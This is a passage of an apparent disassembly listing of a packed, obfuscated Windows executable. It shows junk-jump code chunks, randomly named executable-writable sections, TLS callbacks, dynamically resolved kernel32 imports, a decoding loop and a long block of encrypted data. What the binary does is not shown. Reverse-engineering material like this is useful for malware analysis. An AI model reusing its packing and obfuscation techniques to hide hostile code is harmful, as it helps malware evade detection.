		jmp	loc_40D569
; END OF FUNCTION CHUNK	FOR sub_40942A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_410268:				; CODE XREF: sub_40DA15+25BBj
		adc	esi, ebx
		not	edi
		popf


loc_41026D:				; CODE XREF: sub_40DA15:loc_409F92j
		push	5D31BC0h
		pop	eax
		jmp	loc_40E7D9
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------


loc_410278:				; DATA XREF: sub_40E7B2-4A3Do
		mov	eax, ds:dword_40F1E8[eax*4]
		mov	[ebp-8], eax
		call	sub_40DECD
		and	eax, 0CD627619h
		jmp	sub_40A8A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_410292:				; CODE XREF: sub_409FA8:loc_40E13Aj
		jnz	loc_40AD9A
		jmp	loc_4101B6
; END OF FUNCTION CHUNK	FOR sub_409FA8

; =============== S U B	R O U T	I N E =======================================



sub_41029D	proc near		; CODE XREF: sub_40B218+3p

; FUNCTION CHUNK AT 004101C1 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		mov	edx, [esp+0]
		call	sub_40DC93
		mov	eax, 11C9A2C5h
		call	sub_4090F8
		mov	ds:dword_407880+9, eax
		jmp	loc_4101C1
sub_41029D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_4102BD:				; CODE XREF: sub_40E562:loc_40BCBBj
		jnz	loc_40CDED
		jmp	loc_40BE86
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------
		and	eax, edi
		jmp	sub_409726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_4102CF:				; CODE XREF: sub_40B76E:loc_409FC3j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40E3A4
		or	eax, eax
		jnz	loc_409AFF
		push	eax
		push	0B34F29B3h
		jmp	loc_409A87
; END OF FUNCTION CHUNK	FOR sub_40B76E

; =============== S U B	R O U T	I N E =======================================



sub_4102EB	proc near		; CODE XREF: sub_40FB9F-67CDp
					; o45kw3t9:0040DEC2j

; FUNCTION CHUNK AT 0040BECE SIZE 0000001F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_40E193
		mov	[ebp-8], eax
		call	sub_40FE1A


loc_4102FC:				; CODE XREF: sub_40C674-1CD1j
		jmp	loc_40BECE
sub_4102EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_410301:				; CODE XREF: sub_40AC2F+44Bj
		shr	ecx, 0Bh
		jmp	loc_40FDAE
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_410309:				; CODE XREF: sub_40E915+15j
		jz	loc_40A43A
		jmp	loc_40B595
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_410314:				; CODE XREF: sub_40E6E8-223Aj
		sub	eax, 9955590Eh
		jb	loc_40BA81
		sub	esi, 5A3E1C8Bh
		sub	ebx, 76BAB779h
		jmp	loc_40BA80
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_410331:				; CODE XREF: sub_4091CB+52EAj
		adc	ecx, ebp
		cmp	eax, 544E1198h
		jmp	loc_40A2DB
; END OF FUNCTION CHUNK	FOR sub_4091CB
; ---------------------------------------------------------------------------
aK7dnoJmUcSss	db 'k7¤O¸Jm+žcšÅs™á',0
		align 1000h
o45kw3t9	ends

; Section 5. (virtual address 00011000)
; Virtual size			: 00009000 (  36864.)
; Section size in file		: 00009000 (  36864.)
; Offset to raw	data for section: 00011000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
p89ykw6h	segment	para public 'CODE' use32
		assume cs:p89ykw6h
		;org 411000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		db 0CCh
		db 10h,	1, 0
		align 8
		dd 0FFFFFFFFh, 1103Ch, 110B4h, 11108h, 0
		dd 0FFFFFFFFh, 110E8h, 11104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_4110B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_4110B8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_4110BC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4110C0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_417E53+E15r ...
dword_4110C4	dd 7C809A51h, 7C809AE4h, 1104Ch, 11060h, 11070h, 11084h
; resolved to->KERNEL32.VirtualAlloc					; DATA XREF: p89ykw6h:00419768o
		dd 11094h, 110A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h
dword_411104	dd 7E45058Ah	; resolved to->USER32.MessageBoxA		dd 110F4h, 0
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: p89ykw6h:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: p89ykw6h:TlsCallbacks_ptro
		dd 0
; ---------------------------------------------------------------------------
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld


loc_41113E:				; CODE XREF: p89ykw6h:00411155j
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_411154
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4


loc_411154:				; CODE XREF: p89ykw6h:00411144j
		dec	ecx
		jg	short loc_41113E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 6824FDFDh, 5B326126h, 661948B7h, 0CE41385Fh,	0B836B2CEh
		dd 0AC008B0h, 46C24Ah, 0CE204BC3h, 972AB382h, 125A1391h
		dd 406000h, 196E434Ah, 0
		dd 236E0000h, 7E162091h, 0C3B98454h, 5FF74926h,	94A6F3DFh
		dd 9F57915Fh, 0AE7C5974h, 0ECCEBF9Dh, 0B9E92FF1h, 83BDE376h
		dd 0B6520716h, 2CD4FA5Ch, 5DDBAED6h, 3B921E2Fh,	0F79CCE26h
		dd 8BEA2667h, 3DBE6F26h, 3EE8CDFEh, 0E0917EE5h,	0A66D77F3h
		dd 0C1E5C37h, 99679C3Fh, 0CE85C78Dh, 0B8AFAE78h, 0B39CE381h
		dd 0D4575A70h, 0ADD6CC97h, 0AD261B3Dh, 8FA17DD6h, 0C53DD37Bh
		dd 11DE4C24h, 271C07B1h, 6CF0D5C2h, 1691D9EFh, 9D83C9FFh
		dd 64E41A88h, 0E55E92B2h, 3F12968Dh, 0EA9181E8h, 3BA3D740h
		dd 0F3FCC8FDh, 0ADA3AAFEh, 0FCE8B83Bh, 0EAB3F7E7h, 1C34FC66h
		dd 94C608F9h, 0F14E46BFh, 5B38FFBEh, 7312D72Eh,	42FBF978h
		dd 0E37079EEh, 725DE3D0h, 0B5381052h, 293AAEAAh, 7E279E66h
		dd 42E97EA6h, 9C8B1DAFh, 0D980DCA2h, 0AFDA9E8Ah, 1B27AD6Eh
		dd 0C07A5AB7h, 7E2EC1E1h, 0AEC0536Bh, 8C35D714h, 0DCE8F597h
		dd 3E19828Fh, 0B73B497Dh, 9A65794Fh, 0A8BAF367h, 0A739B7E6h
		dd 436D8B54h, 24660F92h, 0E4C3115Dh, 6957AD11h,	499328F6h
		dd 0B802F3CBh, 0CD1A5727h, 0C2543CCDh, 2EFE290Bh, 7FFC6771h
		dd 0D2F9D335h, 0DFFBDEBAh, 0EC6E6EFCh, 0D3FDCB6Dh, 0EA096253h
		dd 0BEBCBFB7h, 9DE97D25h, 41B849AAh, 62329E37h,	0AAC3A9EDh
		dd 0DE070955h, 2D958A36h, 9BE4177Dh, 0FDCF98C5h, 0A317D6F5h
		dd 0BDD3843Bh, 132FB9EEh, 75F6FEFEh, 0EDBF5FADh, 53DC7BBBh
		dd 0BC32444Ah, 8E579E4Fh, 0F1A42BFFh, 0C6B201EAh, 3FB9B5FFh
		dd 0FCB23D78h, 2E91DE63h, 732BDE6Ch, 2537D49Eh,	8C6DB3ECh
		dd 0BADDDD68h, 13AD6693h, 5ACA0B23h, 0DDE655F1h, 0E655AFB7h
		dd 0A89FEC0h, 76399C5Fh, 0B49412C9h, 3F5F3FCEh,	0F1E6622Fh
		dd 2B3964C7h, 3B6D8BC7h, 7EA1AADEh, 5BAB8AD8h, 4585477Ch
		dd 6C385C1Ah, 92D99DDDh, 7F6A3BD7h, 25D837DBh, 0BF7854D8h
		dd 0A8D9BDE7h, 9AB9F84Bh, 5CAEA83Fh, 36867A8Ah,	8DD996EDh
		dd 1825EB20h, 93E632F5h, 95796F23h, 0D728D97Dh,	6871B437h
		dd 6273E54Bh, 4CAC5DF5h, 44BC7A83h, 87A7DFDAh, 2353DFFBh
		dd 0CCB7DEE0h, 8BC272B5h, 5ACF9BEDh, 81F9E720h,	0EBF42693h
		dd 0CF6FDDECh, 474EF95Ch, 3A581BC9h, 0D1A2E2F1h, 1C0AE6Fh
		dd 0DB10CE5Eh, 297DF5A7h, 6721B97Bh, 5371AAEFh,	0E23C2AB6h
		dd 7E7EF296h, 0E65E3A6Fh, 7C75DF17h, 7BC1395Fh,	0E9695094h
		dd 0C9F4EECh, 0CCFB7F2Ch, 6A04CB59h, 0CCFD275Ch, 7BB7AA99h
		dd 359ADFCBh, 0BB481B2Fh, 56D04149h, 2A72E19Ch,	39F32C5h
		dd 6DA87ECDh, 3D1C912Fh, 9DA86C73h, 77DA4CCAh, 72A987C0h
		dd 11CB0CD4h, 0BEDA6727h, 13B36369h, 7937C502h,	7F19A2D5h
		dd 0C3D93227h, 7B62F96Ch, 0D6DB01F4h, 0C7F6DAEEh, 0B046B05Ah
		dd 0BAF2EDE6h, 4211FABFh, 49ACCFA6h, 0E47F9F2h,	9D5C180Ch
		dd 0E6F935D3h, 0E1447DFBh, 0DC2F0C41h, 0F0E6A037h, 3A17708Eh
		dd 71EEE8EDh, 67F49DAh,	8569B099h, 0DEE4B580h, 94A6AA5Dh
		dd 0F7498739h, 493155F5h, 0ACFA062Fh, 0FE29E1F9h, 563FDEAEh
		dd 0F592BDB0h, 0D1DB1B9Bh, 7FB5E5AEh, 0B0C8EE77h, 14DF0641h
		dd 0AF0540BDh, 2C514DEEh, 0E3FB9CCBh, 0D1B71A8Ch, 266B64A4h
		dd 0B3CF1218h, 13CE8B47h, 0F59B45C3h, 0AC44CAFAh, 779A12BAh
		dd 7725FB9Fh, 5D3B66C9h, 0D5C9B90Fh, 6B7DA9BCh,	0D7F73AD5h
		dd 95D81EAFh, 0DE8F421h, 0A6F58FFFh, 0BF45C3EEh, 1D3FFAA4h
		dd 355185A3h, 466566A2h, 8D0A1F9Dh, 8DC570BDh, 0AEF5DDD2h
		dd 0A6F5E8DCh, 3603D70Dh, 16DF6F3Ch, 0CEFDBFDCh, 3D048D3Bh
		dd 0B3EE3716h, 1F6B8FF3h, 0FBFDC76Dh, 0FF158DBAh, 94B4E749h
		dd 4D8BEC37h, 0DC9C1229h, 0B36040F8h, 0A53D3DE3h, 620FA958h
		dd 56AF6A77h, 7F2E33E6h, 97D8F1B8h, 2CB295F1h, 0F7274FE0h
		dd 0F97B6CFFh, 9F02CAC1h, 9AF25E7Fh, 0EB6CC12Bh, 13D07AB3h
		dd 149A1A73h, 36735A35h, 0BD74269Eh, 9B59C3F8h,	6E3F7350h
		dd 580D9C6Eh, 0BB498290h, 0E17F77EEh, 0C198728Eh, 35711507h
		dd 2BDFE2C5h, 41ADF84Dh, 0F79E849Eh, 0F551857Ch, 35180E97h
		dd 6761B556h, 5A3ACE74h, 2E8301D6h, 0C9C49ABFh,	0F9CFF641h
		dd 0BCEBF4FFh, 58193305h, 1F55F869h, 4AFF0EC2h,	0E84795E3h
		dd 0EECAAFBAh, 769F6BF7h, 4B18E7F3h, 2B315686h,	1B4781EFh
		dd 52DA5AACh, 864E073Bh, 9C8FE0E1h, 77A0C4A6h, 609BB7D3h
		dd 4ED956Ah, 72B2AA44h,	0B45026FDh, 7333EE77h, 0E9E9C4C0h
		dd 0D36C114Fh, 0B1D25593h, 0DFE5378Dh, 11B4B0B4h, 5A4A97A5h
		dd 15EA68A2h, 6570E60Bh, 7E39A843h, 59717D94h, 75DE38E5h
		dd 0CDBB137Eh, 0FFBB0852h, 0C2DD8BCAh, 15D7FE3Fh, 0C775EE25h
		dd 0CFB6EC8Ah, 0FD927A18h, 9C54A302h, 99E4230Fh, 70E3EBB0h
		dd 0DEB1EEF1h, 7039FDDh, 93FCDD3Dh, 1DBCB587h, 54FEEF98h
		dd 110C9A5Dh, 0E53BE9BDh, 0E1655C2Ch, 0BA9777A9h, 0AEB3245Eh
		dd 3A7D037Fh, 4944667Eh, 0A8DC2472h, 0A25386C4h, 0D2EFF98Dh
		dd 318D6BBFh, 1A632522h, 0EFEEFF22h, 6C3EE565h,	3B96B332h
		dd 11ACEE97h, 0D5FDD8F5h, 2927165Ah, 0CB4CAFDDh, 0A2E36632h
		dd 62A67947h, 7EC29DA3h, 0E54DDA9Fh, 3A8DF745h,	0B1E37758h
		dd 64B70FDDh, 2E3B4F0Ch, 0A166F40Fh, 1A949141h,	62E9E338h
		dd 0C2B43D4Ah, 0C4FF3EFCh, 2996F15Dh, 69511FDEh, 53518279h
		dd 77D97A09h, 0E5799B7Fh, 0B1CF90E6h, 0C95C9238h, 19EF87A0h
		dd 269FC5AFh, 0D283DB47h, 0DD713C86h, 0DE7A0FEBh, 257BB91Ah
		dd 6419B174h, 0BF4BF3D7h, 0D82F7A4Dh, 65B2D4D6h, 0C4C6FCECh
		dd 74D1978Ah, 16ED6C66h, 460B3BEFh, 0F621D7F7h,	2F5A490Fh
		dd 0B0FF382Bh, 0B3F9AFD1h, 0E3C1CFEFh, 0C6B07F97h, 0E12F07A4h
		dd 53A37CA9h, 0A3BFB563h, 6781A449h, 0D8B8BF5Ch, 1F9A639Ch
		dd 0CCEAFF89h, 5A662137h, 0EA96B65Ch, 0D19FA20Bh, 0DF597D2Bh
		dd 0FD939C5Ah, 0A7C1FE68h, 0D28A8B45h, 26BED386h, 3C62CBE4h
		dd 0E67857ADh, 9A444742h, 34A5FFB3h, 3518D779h,	0FC62E672h
		dd 25AB2F83h, 795CF53Dh, 3FA19FEDh, 5C3148DEh, 3788EEF2h
		dd 79214565h, 7734978Eh, 92E78D5Bh, 46E86C0Dh, 0D42A90A4h
		dd 0F953FD69h, 8917F60h, 2609FBEAh, 5ABFCAFFh, 653E392Bh
		dd 16AB45FDh, 8DF3944Eh, 1DC54531h, 5239EDD9h, 0C8BACE52h
		dd 0DF18C0ADh, 0E1450733h, 0E1F8378Bh, 9A45CADBh, 6E797FCCh
		dd 0EE2FFD9Dh, 0B2D1FB3Bh, 5DA7C175h, 5EBABA12h, 3E2B4ACFh
		dd 0B6B7AAAh, 0F29D8693h, 9381FF6Dh, 0D871EB6Ch, 0C6E6D0DFh
		dd 691D5FCDh, 0A0FC9CA0h, 3A4186D8h, 0F4B659D6h, 0A5C62ADEh
		dd 0E4C87EDFh, 3F2569F0h, 0E9DDBF98h, 7CF88E25h, 77BFDDA4h
		dd 9454F18Eh, 0BDAD3F8Fh, 5D986B16h, 9A2F3B2Dh,	0D7155EE5h
		dd 7131FCC7h, 0BD5DFD0h, 0E7E8BCBEh, 0D34E9D23h, 47EC467h
		dd 9FD31DF6h, 8DA127F8h, 3AC1A214h, 0D0CD6987h,	90EF182Bh
		dd 95ED370h, 0B4301E02h, 0B14CD447h, 72E96F75h,	0F26B23D3h
		dd 4B7656B3h, 0CA5ACE0Eh, 0E9B1B3F1h, 1E576FB7h, 467C5BBDh
		dd 76EE6196h, 0A563F26Ch, 0D99143FEh, 12F9229Fh, 0D7AE2BF7h
		dd 35AF3B85h, 2555FABAh, 7165BD93h, 0FEC7B14Ah,	91B075B0h
		dd 32B96E4Dh, 177DD5AFh, 0B590166Eh, 7B15DD60h,	557F8DFEh
		dd 34BF07F0h, 0F7FC577Dh, 3EDCDBD1h, 167C8E45h,	0DBFD4B15h
		dd 563CDF84h, 0EE3CFAFh, 8775B34Bh, 6BA9EF47h, 0B709B89Bh
		dd 68E8F9C5h, 9F5874CFh, 0D3C81632h, 0A6CAA57Bh, 4C2C3737h
		dd 5CB9BBF8h, 0D75C57C1h
		dd 45BBC13Eh, 0A57CD57Eh, 0F31EC68h, 677D0AD4h,	496CB9Ch
		dd 0A6711FFBh, 0DC473ECh, 42F76359h, 5BB8671Fh,	407648EBh
		dd 0F0D44483h, 6E277165h, 0E5F3AA94h, 0F6B8AA9Dh, 0E509DC3Eh
		dd 0B87DDFEBh, 0F209DB77h, 99828AF5h, 756C43DEh, 0B7AEF57Ch
		dd 679BF4ABh, 8B658777h, 0FEE98D0Fh, 0DC36B6FFh, 0AD5ABB08h
		dd 229C0D1Ch, 0DBDEEA76h, 0AF80CEF1h, 19B92AF3h, 6BB6E17Fh
		dd 896C7456h, 9EBCB1C3h, 76F72CFFh, 4D6832B8h, 37FACCD5h
		dd 9A731599h, 1C45CD58h, 0E5FEB874h, 9DCDFEE7h,	0D659642Fh
		dd 0AD9E0428h, 77B66183h, 3B459FE7h, 5A8E5AA6h,	9D4D0397h
		dd 81646E70h, 2A3F3F06h, 0B76DA763h, 74A66E7Eh,	4D4AAF82h
		dd 67681D1Dh, 0EC17E266h, 1703D77Ch, 0EFBD29D4h, 55C291AEh
		dd 0B270F3CEh, 1E45318Ch, 7649E613h, 4BB66F20h,	5C2A9B9Ch
		dd 0D65D977Bh, 0ACB0673Dh, 0C6617D47h, 678A5E4Ch, 56AE2784h
		dd 4BCE786Eh, 0ACFF1556h, 86639A71h, 0D025096Dh, 0D6863CC1h
		dd 0F66E5FABh, 5914ADCDh, 46DD3FB6h, 39DACB29h,	0D5AD426Dh
		dd 0EF92FC07h, 0D667ACF8h, 0B953E9B8h, 6A7A33F0h, 0A0C7987h
		dd 3AF33ECFh, 0AE615BF5h, 48E983C6h, 870F04AEh,	0F5D871FAh
		dd 6BF8187Fh, 0F241CACDh, 7F341914h, 66584BB3h,	1EC96878h
		dd 8344ECFFh, 6FB379E4h, 0C36B9FC0h, 0FC8F6CFCh, 0ACCF985Ch
		dd 1FC4AF0Bh, 21E867F0h, 9FFE0A31h, 332F78EDh, 0F7B95CDEh
		dd 0E91FC174h, 32839B31h, 39EACBE1h, 6762CE3Ch,	374E6C36h
		dd 7F533BD6h, 628BB3F1h, 0CD702A67h, 33096EEDh,	0C13155A3h
		dd 6416FD2Bh, 5E499DFBh, 3A8BB3FEh, 66732BB5h, 0A78EF285h
		dd 0DF57B2C8h, 0DB4A166h, 0D4CCA4FBh, 761DDF79h, 0CD6AC123h
		dd 789A8C4Bh, 0F70B8F71h, 6DA50B8Ch, 7DB92E7h, 0D2D8F9CFh
		dd 2DA4FD8Ch, 11FC77F7h, 7D6EB2D5h, 8DFAFBFDh, 0E8D7FCCCh
		dd 5B9F63A4h, 6679E873h, 67A384AFh, 0AC8F28EFh,	0D17FDB1Bh
		dd 5B7DB1BDh, 0AAF73AB0h, 3B281B67h, 0D59F45D4h, 95675539h
		dd 1CEED585h, 0CB0B8FCh, 0FD5D724Dh, 75F40A8h, 0E9D8191Dh
		dd 99054958h, 0D0A1B2B7h, 46E21BC3h, 76337927h,	0B84FD919h
		dd 6E0EA7A2h, 0CDA27F98h, 0DF08DABFh, 49A26FECh, 7BBA44FAh
		dd 62DBF5CBh, 61A78E67h, 0FC36C3A4h, 0F915F47Fh, 0ACD323C6h
		dd 0F79FC54Eh, 474D9CBFh, 3DEAF4A0h, 79DA4AE0h,	22B18667h
		dd 9B439CE0h, 65E1EB95h, 85DABEB4h, 99E87F1Ch, 0ADE64137h
		dd 0D2D1A1B3h, 42F5594Dh, 0BF5B31B5h, 0E1D31FFBh, 0E9CD2918h
		dd 73BA3395h, 1F186B69h, 5D31D8E2h, 0A0BDF6FEh,	28DB6CCh
		dd 0F5F62D57h, 7566999Bh, 0A2481ABCh, 0F0598F2Eh, 0A3953185h
		dd 0CE6F2EE4h, 5E2EB182h, 0A1C5FA72h, 22FEBD2Bh, 1BE5DEF1h
		dd 0F77E7895h, 0DCC2EDF9h, 0DEE41269h, 7B7F3704h, 0ADFA3C7Fh
		dd 0BE9D279Dh, 25C3E1F6h, 3B3BFCFBh, 1A14BAF6h,	91D46D01h
		dd 1D3AEE03h, 0ED69C7BAh, 7930668Eh, 0FF3ACC5h,	66216A74h
		dd 0A512DB99h, 0E67C525Eh, 0A3BE4970h, 173389E0h, 1DF10DADh
		dd 0BEDD0CB3h, 15714C66h, 0E25C0E7Ah, 0BF99A3CBh, 0FAC8BE96h
		dd 3613843Fh, 24F866B5h, 0D8571FBDh, 915AAD03h,	996F1F6Dh
		dd 78E43F38h, 1E4ECF45h, 9B37F635h, 72C57F67h, 6CF4FEC6h
		dd 63BAE9Ah, 5D7098A4h,	9E92C49Ch, 3DBAB2F9h, 0F6D6D912h
		dd 27B9B05Ch, 6E237A3Dh, 0D164DA4h, 0C4C77BF8h,	0CBB4BF27h
		dd 0A9CAA9D8h, 70FB8BEDh, 959A9686h, 816F5C89h,	2DBEFFAFh
		dd 8A5DFA05h, 0FFEF0A4Dh, 0B4A35CB9h, 0C4CE708Bh, 0BA555DFEh
		dd 0D33D2E58h, 0C42368BCh, 0C6FE9FE6h, 0A7FD122Ch, 0EC8C437Fh
		dd 0C7FFB5BEh, 32330FBFh, 97DEDE75h, 4B25D9ABh,	2152A263h
		dd 7F798E65h, 5F318C4Fh, 0EC5295D9h, 0DAE2D268h, 4EA1959Dh
		dd 0DFF5E37Fh, 0FC2C1E55h, 0C6FA92F1h, 57B611FFh, 0E1FA7846h
		dd 0C79FC1D5h, 0A6F8896Eh, 4722BC33h, 0E4326EE9h, 0A9691C78h
		dd 6A3E566Eh, 0D3F5B6FAh, 5E2F0CDFh, 0CFFBA594h, 0AC40326Ch
		dd 0AA716F5Dh, 5B66BF30h, 8B926E41h, 5D5D722Dh,	0BFC7787Dh
		dd 5A21E1E9h, 0CE267468h, 0E0D91408h, 9C0D3921h, 2427B859h
		dd 286FBDDh, 0DA61CF3Dh, 0A46691E5h, 0DE6FFC0Eh, 9DA431BBh
		dd 3AD26A79h, 0DD4FBAB1h, 0F38E65FDh, 0FED0F74Ah, 0C7A1E3DBh
		dd 0E7F17A07h, 0C41A36BBh, 0D4F23CF9h, 9FFF4770h, 0D2CBA2F9h
		dd 7DB9377Bh, 9C88D66Bh, 0DB8E49D2h, 3B50DEABh,	4AA7C555h
		dd 4D2DD996h, 0E41AA791h, 0B85C7CECh, 0CEB9239Bh, 0FAC76C5Ah
		dd 5CF6B9CFh, 3C8B0AB5h, 0EDC99239h, 782645FDh,	8FDBA757h
		dd 0FC3CB22Fh, 47CA62E3h, 0A4FE87E6h, 4F51E770h, 0E2EB2F26h
		dd 0B412F3FFh, 9A45570Bh, 63150F55h, 4BC9A9D4h,	0D626C2BDh
		dd 0C3C3E8F7h, 0F92752C1h, 0FFC84C4Bh, 27AE35E3h, 0B67D39A9h
		dd 1E1C7749h, 57D6FA9Fh, 7E8B6C3h, 3F93727Fh, 92641F4Dh
		dd 9D343DB6h, 8BE5B23Dh, 0B86C5FABh, 0BD5B7539h, 26F70F5Ah
		dd 0DEE5A6E2h, 0B5E9FB99h, 90ABD2EBh, 1BC7F26Dh, 0FF442777h
		dd 2AF781E5h, 162FA87Bh, 0C92C68A7h, 0B55ABB97h, 2B3DA4A2h
		dd 0FC5EF37h, 7C2EDA63h, 0EEAEB8BBh, 11394FEFh,	8C377BF9h
		dd 0E9E5A9FCh, 87479A4h, 0B2953012h, 646164D7h,	0EEAA6695h
		dd 2200FFFFh, 41C25FCDh, 18B9B60Fh, 7C44B39h, 0BE176493h
		dd 6EB08214h, 24849440h, 5CE1C3CBh, 0F581B138h,	0C0109074h
		dd 8DDA819Ch, 6B3BB071h, 2133F100h, 0A8168282h,	24FFDAh
		dd 2A8231h, 0FFCA0149h,	8F281D23h, 0FD33CB42h, 58390A4h
		dd 67761EB9h, 5E69161Bh, 0C124A0A4h, 85CB3780h,	4EC385EEh
		dd 0C20A00F7h, 11BA83E3h, 0EF754F0Fh, 46E9F68Bh, 4D6200FAh
		dd 3F7E0E02h, 68543414h, 8D27B70Ch, 0CC79D4D9h,	0B76020C2h
		dd 0AC03C04Ah, 28B86572h, 2FC6807Ch, 6818B027h,	629FF5C0h
		dd 0BC009C3h, 98A2E7h, 1034F7ADh, 7AEE3E04h, 95923789h
		dd 0E05D4171h, 0EDC9A50Bh, 7E13465Bh, 54B712C8h, 4B8A5644h
		dd 72350C78h, 0DC368559h, 0A6E10160h, 120F567Dh, 0B5093455h
		dd 46288307h, 1B04CE39h, 251B0D4Eh, 2281E68Eh, 674D013Eh
		dd 0A2C371A5h, 501381A1h, 0B2B36D8Ah, 58C9ABBh,	33091019h
		dd 1165036Bh, 0D802AA65h, 0D61F1313h, 70A6BF52h, 760C480Ch
		dd 200C25F8h, 7526E17h,	0D9C4B505h, 5C700429h, 0B51169AAh
		dd 0EF206B80h, 0E5980251h, 8D1C7409h, 75880422h, 0E8274631h
		dd 421961ACh, 35361AA4h, 454301AAh, 4B03705h, 0D2EEE340h
		dd 9809BFB5h, 9DF16F7Bh, 781FE103h, 5E3FEE96h, 466DC3D7h
		dd 2EDB1627h, 0C5891B48h, 9383501Ah, 3D739CCFh,	0DA0DE342h
		dd 5CE2887Eh, 1F083CF0h, 9F049508h, 64A49F0Ch, 6469C31h
		dd 0B8EC94A9h, 6C328DEh, 4B483F6Fh, 77601EB3h, 4EC4F818h
		dd 0C038E881h, 9D68BEE5h, 2503A1F5h, 3BFE46D4h,	583D6D06h
		dd 3608278Dh, 5CAD1615h, 0D04ED34Fh, 85FA44B3h,	0B8ACFFFBh
		dd 3AC268D8h, 0D61C4603h, 3F918315h, 4AF85C8Ch,	0A14C83F4h
		dd 22ADF8Dh, 1E924D1Ah,	0DF038A4Eh, 0EFD07499h,	3325F246h
		dd 2636F5CAh, 42682414h, 0B0952829h, 9E32F010h,	0A92EF098h
		dd 0B17C547h, 1DDADA80h, 6DC01F38h, 7B4B786Bh, 32022A0h
		dd 6C07DA3Fh, 0F06FB62Eh, 0ACA7B202h, 18A55C62h, 2A3BC6Eh
		dd 2BC2384Eh, 0B2BE774h, 2CC6920Dh, 8744DE41h, 0A18DD124h
		dd 4227F3E0h, 0AC78C1E0h, 0C4D4980Bh, 0CF54C720h, 0B4704D4Dh
		dd 5F269A4Bh, 0D84F0CD6h
		dd 1E4CCB40h, 8C1F5C34h, 9244DDA0h, 488A02EAh, 3C28A52Ch
		dd 24AE472Ch, 57974111h, 0B4901A24h, 5FB203ADh,	202D52F0h
		dd 0FDB15AF7h, 0B9B8F999h, 89AEB14Dh, 41E691AEh, 0E32700C4h
		dd 9F595026h, 4A2E4A04h, 318BD864h, 0E5E0906Ah,	13549C62h
		dd 4F12620Bh, 0B7EB6459h, 6AE3088h, 80DF5A3Dh, 7F87F3ABh
		dd 9014DF1h, 85D8187Ah,	0B4D36h, 69A34E6Eh, 86EFB06Bh
		dd 18087990h, 17EBCF5Ch, 0ADC73309h, 8198E2C2h,	0D291422h
		dd 5C392718h, 1D830059h, 47B1F7A0h, 69CAC2Ah, 8C8E0B01h
		dd 0DB481ABEh, 9B4433F8h, 82ABB73Ah, 60C95943h,	50A08BF6h
		dd 0C431CC1Bh, 601919BEh, 0D1B83453h, 6224E443h, 0BA5BEC4Fh
		dd 1E065E6Eh, 0ABC599B4h, 792047E7h, 0F829D154h, 620AA0C9h
		dd 63E855F8h, 0CC1F7FC0h, 67170190h, 140220D5h,	9B7075FCh
		dd 885F81D4h, 10947C50h, 0BAFA5BFEh, 2DB59065h,	0D01A5488h
		dd 3F323A6Fh, 86082218h, 0A42CCFA7h, 8D9E579Ch,	7170A431h
		dd 8A6A62AEh, 600C540Ch, 6F015120h, 0C4828E51h,	1E4F60D5h
		dd 0D70B262Eh, 0ECCEB07Bh, 0F1832FAFh, 0D6F6BA0h, 52B528h
		dd 0E0FB88C2h, 32C157F1h, 0FFDAA0B0h, 56FD814Dh, 99B87924h
		dd 2858BA58h, 0D20FEC44h, 43BB3BEFh, 8FEE8DC6h,	782111C5h
		dd 0E3221882h, 959E773h, 40422D9Fh, 190E4F60h, 0E7460312h
		dd 0D00058Eh, 0E0C0CA50h, 8A6B32FBh, 3264F988h,	0F6DF43E4h
		dd 0EA341C98h, 42FA4084h, 83E78D5Dh, 9D7D946Fh,	0A53843F6h
		dd 0D2374212h, 6977BDEh, 0EE3EE672h, 0D8F838F9h, 7858FDA3h
		dd 85BA2834h, 0B626673Ah, 2D82585Fh, 5C66730Fh,	12BE14DFh
		dd 1D8C5212h, 80503E2Ch, 987E73C1h, 12803A98h, 0F81F36A9h
